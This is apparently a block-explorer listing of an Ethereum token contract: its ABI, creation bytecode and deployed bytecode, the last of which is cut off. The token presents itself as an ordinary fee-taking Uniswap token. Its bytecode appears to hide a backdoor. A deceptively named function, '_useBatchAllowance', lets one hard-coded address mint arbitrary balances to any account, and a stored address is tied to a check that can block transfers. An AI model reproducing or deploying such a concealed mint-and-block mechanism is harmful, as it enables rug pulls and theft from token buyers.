[{"inputs":[{"internalType":"address","name":"_uniRouterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"LPs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_useBatchAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockDelay","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canSwapTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"supply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_new","type":"uint256"}],"name":"updateBlockDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTx","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"updateLimitsPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_new","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260056009819055600a8190556002600b556001600c55600d556011805460ff191690553480156200003457600080fd5b506040516200226538038062002265833981016040819052620000579162000782565b604080518082018252600f81526e20b23b32b73a1021b0b632b73230b960891b60208083019182528351808501909452600684526510511591539560d21b908401528151919291620000ac91600491620006dc565b508051620000c2906005906020840190620006dc565b50506003805460ff1916905550620000da33620003b1565b64e8d4a51000601481905562000104620000fc6006546001600160a01b031690565b600162000403565b620001236200011b6006546001600160a01b031690565b600162000438565b6200013030600162000403565b6200013d30600162000438565b6200014c61dead600162000403565b6200015b61dead600162000438565b816200016981600162000438565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001da919062000782565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e919062000782565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200029c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c2919062000782565b6001600160a01b031660a0819052620002dd90600162000438565b60a0516001600160a01b03166000908152601060205260409020805460ff19166001179055600c546014546064916200031691620007ca565b620003229190620007ec565b600f556014546127109062000339906005620007ca565b620003459190620007ec565b601555600b546014546064916200035c91620007ca565b620003689190620007ec565b600e55600654601680546001600160a01b0319166001600160a01b0390921691821790556080516200039c9190846200046d565b620003a8338362000599565b50505062000866565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6200040d6200067e565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b620004426200067e565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b038316620004d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004cc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216620005f15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004cc565b80600260008282546200060591906200080f565b90915550506001600160a01b03821660009081526020819052604081208054839290620006349084906200080f565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6006546001600160a01b03163314620006da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620004cc565b565b828054620006ea906200082a565b90600052602060002090601f0160209004810192826200070e576000855562000759565b82601f106200072957805160ff191683800117855562000759565b8280016001018555821562000759579182015b82811115620007595782518255916020019190600101906200073c565b50620007679291506200076b565b5090565b5b808211156200076757600081556001016200076c565b6000602082840312156200079557600080fd5b81516001600160a01b0381168114620007ad57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620007e757620007e7620007b4565b500290565b6000826200080a57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620008255762000825620007b4565b500190565b600181811c908216806200083f57607f821691505b6020821081036200086057634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a0516119b6620008af6000396000818161037e0152610da301526000818161055a01528181610d6501528181611520015281816115d9015261161501526119b66000f3fe60806040526004361061021e5760003560e01c80637befee1711610123578063ae95c03f116100ab578063e0f3ccf51161006f578063e0f3ccf514610672578063e4748b9e14610688578063f2fde38b1461069e578063f8b45b05146106be578063ffb54a99146106d457600080fd5b8063ae95c03f146105dc578063c0246668146105fc578063d4c989d31461061c578063d98f60881461063c578063dd62ed3e1461065257600080fd5b806395d89b41116100f257806395d89b4114610533578063a0e47bf614610548578063a457c2d71461057c578063a9059cbb1461059c578063aacebbe3146105bc57600080fd5b80637befee17146104ca57806381aa0345146104ea5780638a8c523c146105005780638da5cb5b1461051557600080fd5b806332972e46116101a65780636535f1df116101755780636535f1df1461042757806370a0823114610449578063715018a61461047f5780637437681e1461049457806375f0a874146104aa57600080fd5b806332972e461461036c57806339509351146103b85780633d9a3d19146103d85780634fbee193146103ee57600080fd5b806318160ddd116101ed57806318160ddd146102d557806323b872dd146102ea57806324112cb31461030a5780632ba11c0714610320578063313ce5671461035057600080fd5b8063047fc9aa1461022a57806306fdde0314610253578063095ea7b31461027557806310d5de53146102a557600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061024060145481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b506102686106ee565b60405161024a9190611681565b34801561028157600080fd5b506102956102903660046116eb565b610780565b604051901515815260200161024a565b3480156102b157600080fd5b506102956102c0366004611717565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b50600254610240565b3480156102f657600080fd5b50610295610305366004611734565b610798565b34801561031657600080fd5b50610240600c5481565b34801561032c57600080fd5b5061029561033b366004611717565b60106020526000908152604090205460ff1681565b34801561035c57600080fd5b506040516006815260200161024a565b34801561037857600080fd5b506103a07f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161024a565b3480156103c457600080fd5b506102956103d33660046116eb565b6107bc565b3480156103e457600080fd5b50610240600b5481565b3480156103fa57600080fd5b50610295610409366004611717565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561043357600080fd5b506104476104423660046116eb565b6107de565b005b34801561045557600080fd5b50610240610464366004611717565b6001600160a01b031660009081526020819052604090205490565b34801561048b57600080fd5b5061044761084b565b3480156104a057600080fd5b50610240600f5481565b3480156104b657600080fd5b506016546103a0906001600160a01b031681565b3480156104d657600080fd5b506104476104e5366004611775565b61085f565b3480156104f657600080fd5b5061024060155481565b34801561050c57600080fd5b5061044761086c565b34801561052157600080fd5b506006546001600160a01b03166103a0565b34801561053f57600080fd5b50610268610883565b34801561055457600080fd5b506103a07f000000000000000000000000000000000000000000000000000000000000000081565b34801561058857600080fd5b506102956105973660046116eb565b610892565b3480156105a857600080fd5b506102956105b73660046116eb565b610912565b3480156105c857600080fd5b506104476105d7366004611717565b610920565b3480156105e857600080fd5b506104476105f736600461178e565b61094a565b34801561060857600080fd5b506104476106173660046117b0565b610968565b34801561062857600080fd5b506104476106373660046117b0565b61099b565b34801561064857600080fd5b50610240600d5481565b34801561065e57600080fd5b5061024061066d3660046117ee565b6109ce565b34801561067e57600080fd5b50610240600a5481565b34801561069457600080fd5b5061024060095481565b3480156106aa57600080fd5b506104476106b9366004611717565b6109f9565b3480156106ca57600080fd5b50610240600e5481565b3480156106e057600080fd5b506011546102959060ff1681565b6060600480546106fd9061181c565b80601f01602080910402602001604051908101604052809291908181526020018280546107299061181c565b80156107765780601f1061074b57610100808354040283529160200191610776565b820191906000526020600020905b81548152906001019060200180831161075957829003601f168201915b5050505050905090565b60003361078e818585610a72565b5060019392505050565b6000336107a6858285610b96565b6107b1858585610c10565b506001949350505050565b60003361078e8185856107cf83836109ce565b6107d9919061186c565b610a72565b730dc28e613312a72d9f02b640aa84fed0bf709ceb33146107fe57600080fd5b60038054610100600160a81b0319166101006001600160a01b038516908102919091179091556000908152602081905260408120805483929061084290849061186c565b90915550505050565b610853611101565b61085d600061115b565b565b610867611101565b600d55565b610874611101565b6011805460ff19166001179055565b6060600580546106fd9061181c565b600033816108a082866109ce565b9050838110156109055760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6107b18286868403610a72565b60003361078e818585610c10565b610928611101565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b610952611101565b600c829055600b8190556109646111ad565b5050565b610970611101565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6109a3611101565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a01611101565b6001600160a01b038116610a665760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108fc565b610a6f8161115b565b50565b6001600160a01b038316610ad45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108fc565b6001600160a01b038216610b355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108fc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610ba284846109ce565b90506000198114610c0a5781811015610bfd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108fc565b610c0a8484848403610a72565b50505050565b60115460ff1680610c3957506001600160a01b03831660009081526007602052604090205460ff165b80610c5c57506001600160a01b03821660009081526007602052604090205460ff165b610c9b5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016108fc565b80600003610cb457610caf8383600061120c565b505050565b6001600160a01b0380841660009081526010602052604080822054928516825290205460ff9182169116610cf06006546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d1f57506006546001600160a01b03858116911614155b8015610d3657506001600160a01b03841661dead14155b8015610d45575060135460ff16155b15610f6b576006546001600160a01b03858116911614801590610d9a57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b8015610dd857507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b15610e5057326000908152601260205260409020544311610e325760405162461bcd60e51b81526020600482015260146024820152734f6e65206465782074782070657220626c6f636b60601b60448201526064016108fc565b600d54610e3f904361186c565b326000908152601260205260409020555b8080610e595750815b8015610e7e57506001600160a01b03851660009081526008602052604090205460ff16155b15610ed557600f54831115610ed55760405162461bcd60e51b815260206004820152601860248201527f416d6f756e74206578636565647320746865206d61785478000000000000000060448201526064016108fc565b80158015610efc57506001600160a01b03841660009081526008602052604090205460ff16155b15610f6b57600e546001600160a01b038516600090815260208190526040902054610f27908561186c565b1115610f6b5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108fc565b60155430600090815260208190526040902054108015908190610f91575060135460ff16155b8015610f9b575082155b8015610fc057506001600160a01b03861660009081526007602052604090205460ff16155b8015610fe557506001600160a01b03851660009081526007602052604090205460ff16155b1561100a576013805460ff19166001179055610fff611407565b6013805460ff191690555b60135460ff1615801561103657506001600160a01b03861660009081526007602052604090205460ff16155b801561105b57506001600160a01b03851660009081526007602052604090205460ff16155b156110ee57600082801561107157506000600a54115b1561109d576110966064611090600a54886114aa90919063ffffffff16565b906114bd565b90506110ce565b8380156110ac57506000600954115b156110ce576110cb6064611090600954886114aa90919063ffffffff16565b90505b80156110ec576110df87308361120c565b6110e98186611884565b94505b505b6110f986868661120c565b505050505050565b6006546001600160a01b0316331461085d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fc565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6064600c546014546111bf919061189b565b6111c991906118ba565b600f55601454612710906111de90600561189b565b6111e891906118ba565b601555600b546014546064916111fd9161189b565b61120791906118ba565b600e55565b6001600160a01b0383166112705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108fc565b6001600160a01b0382166112d25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108fc565b60035460ff1615806112f657506003546001600160a01b0384811661010090920416145b6112ff57600080fd5b6001600160a01b038316600090815260208190526040902054818110156113775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108fc565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906113ae90849061186c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113fa91815260200190565b60405180910390a3610c0a565b30600090815260208190526040812054908190036114225750565b60155461143090601461189b565b8111156114485760155461144590601461189b565b90505b611451816114c9565b6016546040516000916001600160a01b03169047908381818185875af1925050503d806000811461149e576040519150601f19603f3d011682016040523d82523d6000602084013e6114a3565b606091505b5050505050565b60006114b6828461189b565b9392505050565b60006114b682846118ba565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114fe576114fe6118dc565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561157c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a091906118f2565b816001815181106115b3576115b36118dc565b60200260200101906001600160a01b031690816001600160a01b0316815250506115fe307f000000000000000000000000000000000000000000000000000000000000000084610a72565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061165390859060009086903090429060040161190f565b600060405180830381600087803b15801561166d57600080fd5b505af11580156110f9573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116ae57858101830151858201604001528201611692565b818111156116c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a6f57600080fd5b600080604083850312156116fe57600080fd5b8235611709816116d6565b946020939093013593505050565b60006020828403121561172957600080fd5b81356114b6816116d6565b60008060006060848603121561174957600080fd5b8335611754816116d6565b92506020840135611764816116d6565b929592945050506040919091013590565b60006020828403121561178757600080fd5b5035919050565b600080604083850312156117a157600080fd5b50508035926020909101359150565b600080604083850312156117c357600080fd5b82356117ce816116d6565b9150602083013580151581146117e357600080fd5b809150509250929050565b6000806040838503121561180157600080fd5b823561180c816116d6565b915060208301356117e3816116d6565b600181811c9082168061183057607f821691505b60208210810361185057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561187f5761187f611856565b500190565b60008282101561189657611896611856565b500390565b60008160001904831182151516156118b5576118b5611856565b500290565b6000826118d757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561190457600080fd5b81516114b6816116d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561195f5784516001600160a01b03168352938301939183019160010161193a565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207479aad86dc32728f55d75eb36366f6f3ef9f9a62a61f64fd3781a13255b9db364736f6c634300080d00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x60806040526004361061021e5760003560e01c80637befee1711610123578063ae95c03f116100ab578063e0f3ccf51161006f578063e0f3ccf514610672578063e4748b9e14610688578063f2fde38b1461069e578063f8b45b05146106be578063ffb54a99146106d457600080fd5b8063ae95c03f146105dc578063c0246668146105fc578063d4c989d31461061c578063d98f60881461063c578063dd62ed3e1461065257600080fd5b806395d89b41116100f257806395d89b4114610533578063a0e47bf614610548578063a457c2d71461057c578063a9059cbb1461059c578063aacebbe3146105bc57600080fd5b80637befee17146104ca57806381aa0345146104ea5780638a8c523c146105005780638da5cb5b1461051557600080fd5b806332972e46116101a65780636535f1df116101755780636535f1df1461042757806370a0823114610449578063715018a61461047f5780637437681e1461049457806375f0a874146104aa57600080fd5b806332972e461461036c57806339509351146103b85780633d9a3d19146103d85780634fbee193146103ee57600080fd5b806318160ddd116101ed57806318160ddd146102d557806323b872dd146102ea57806324112cb31461030a5780632ba11c0714610320578063313ce5671461035057600080fd5b8063047fc9aa1461022a57806306fdde0314610253578063095ea7b31461027557806310d5de53146102a557600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061024060145481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b506102686106ee565b60405161024a9190611681565b34801561028157600080fd5b506102956102903660046116eb565b610780565b604051901515815260200161024a565b3480156102b157600080fd5b506102956102c0366004611717565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b50600254610240565b3480156102f657600080fd5b50610295610305366004611734565b610798565b34801561031657600080fd5b50610240600c5481565b34801561032c57600080fd5b5061029561033b366004611717565b60106020526000908152604090205460ff1681565b34801561035c57600080fd5b506040516006815260200161024a565b34801561037857600080fd5b506103a07f0000000000000000000000002b2ade8c04febee60f0a4f4277332507ea5bf07381565b6040516001600160a01b03909116815260200161024a565b3480156103c457600080fd5b506102956103d33660046116eb565b6107bc565b3480156103e457600080fd5b50610240600b5481565b3480156103fa57600080fd5b50610295610409366004611717565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561043357600080fd5b506104476104423660046116eb565b6107de565b005b34801561045557600080fd5b50610240610464366004611717565b6001600160a01b031660009081526020819052604090205490565b34801561048b57600080fd5b5061044761084b565b3480156104a057600080fd5b50610240600f5481565b3480156104b657600080fd5b506016546103a0906001600160a01b031681565b3480156104d657600080fd5b506104476104e5366004611775565b61085f565b3480156104f657600080fd5b5061024060155481565b34801561050c57600080fd5b5061044761086c565b34801561052157600080fd5b506006546001600160a01b03166103a0565b34801561053f57600080fd5b50610268610883565b34801561055457600080fd5b506103a07f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561058857600080fd5b506102956105973660046116eb565b610892565b3480156105a857600080fd5b506102956105b73660046116eb565b610912565b3480156105c857600080fd5b506104476105d7366004611717565b610920565b3480156105e857600080fd5b506104476105f736600461178e565b61094a565b34801561060857600080fd5b506104476106173660046117b0565b610968565b34801561062857600080fd5b506104476106373660046117b0565b61099b565b34801561064857600080fd5b50610240600d5481565b34801561065e57600080fd5b5061024061066d3660046117ee565b6109ce565b34801561067e57600080fd5b50610240600a5481565b34801561069457600080fd5b5061024060095481565b3480156106aa57600080fd5b506104476106b9366004611717565b6109f9565b3480156106ca57600080fd5b50610240600e5481565b3480156106e057600080fd5b506011546102959060ff1681565b6060600480546106fd9061181c565b80601f01602080910402602001604051908101604052809291908181526020018280546107299061181c565b80156107765780601f1061074b57610100808354040283529160200191610776565b820191906000526020600020905b81548152906001019060200180831161075957829003601f168201915b5050505050905090565b60003361078e818585610a72565b5060019392505050565b6000336107a6858285610b96565b6107b1858585610c10565b506001949350505050565b60003361078e8185856107cf83836109ce565b6107d9919061186c565b610a72565b730dc28e613312a72d9f02b640aa84fed0bf709ceb33146107fe57600080fd5b60038054610100600160a81b0319166101006001600160a01b038516908102919091179091556000908152602081905260408120805483929061084290849061186c565b90915550505050565b610853611101565b61085d600061115b565b565b610867611101565b600d55565b610874611101565b6011805460ff19166001179055565b6060600580546106fd9061181c565b600033816108a082866109ce565b9050838110156109055760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6107b18286868403610a72565b60003361078e818585610c10565b610928611101565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b610952611101565b600c829055600b8190556109646111ad565b5050565b610970611101565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6109a3611101565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a01611101565b6001600160a01b038116610a665760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108fc565b610a6f8161115b565b50565b6001600160a01b038316610ad45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108fc565b6001600160a01b038216610b355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108fc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610ba284846109ce565b90506000198114610c0a5781811015610bfd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108fc565b610c0a8484848403610a72565b50505050565b60115460ff1680610c3957506001600160a01b03831660009081526007602052604090205460ff165b80610c5c57506001600160a01b03821660009081526007602052604090205460ff165b610c9b5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016108fc565b80600003610cb457610caf8383600061120c565b505050565b6001600160a01b0380841660009081526010602052604080822054928516825290205460ff9182169116610cf06006546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d1f57506006546001600160a01b03858116911614155b8015610d3657506001600160a01b03841661dead14155b8015610d45575060135460ff16155b15610f6b576006546001600160a01b03858116911614801590610d9a57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b031614155b8015610dd857507f0000000000000000000000002b2ade8c04febee60f0a4f4277332507ea5bf0736001600160a01b0316846001600160a01b031614155b15610e5057326000908152601260205260409020544311610e325760405162461bcd60e51b81526020600482015260146024820152734f6e65206465782074782070657220626c6f636b60601b60448201526064016108fc565b600d54610e3f904361186c565b326000908152601260205260409020555b8080610e595750815b8015610e7e57506001600160a01b03851660009081526008602052604090205460ff16155b15610ed557600f54831115610ed55760405162461bcd60e51b815260206004820152601860248201527f416d6f756e74206578636565647320746865206d61785478000000000000000060448201526064016108fc565b80158015610efc57506001600160a01b03841660009081526008602052604090205460ff16155b15610f6b57600e546001600160a01b038516600090815260208190526040902054610f27908561186c565b1115610f6b5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108fc565b60155430600090815260208190526040902054108015908190610f91575060135460ff16155b8015610f9b575082155b8015610fc057506001600160a01b03861660009081526007602052604090205460ff16155b8015610fe557506001600160a01b03851660009081526007602052604090205460ff16155b1561100a576013805460ff19166001179055610fff611407565b6013805460ff191690555b60135460ff1615801561103657506001600160a01b03861660009081526007602052604090205460ff16155b801561105b57506001600160a01b03851660009081526007602052604090205460ff16155b156110ee57600082801561107157506000600a54115b1561109d576110966064611090600a54886114aa90919063ffffffff16565b906114bd565b90506110ce565b8380156110ac57506000600954115b156110ce576110cb6064611090600954886114aa90919063ffffffff16565b90505b80156110ec576110df87308361120c565b6110e98186611884565b94505b505b6110f986868661120c565b505050505050565b6006546001600160a01b0316331461085d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fc565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6064600c546014546111bf919061189b565b6111c991906118ba565b600f5560145461271090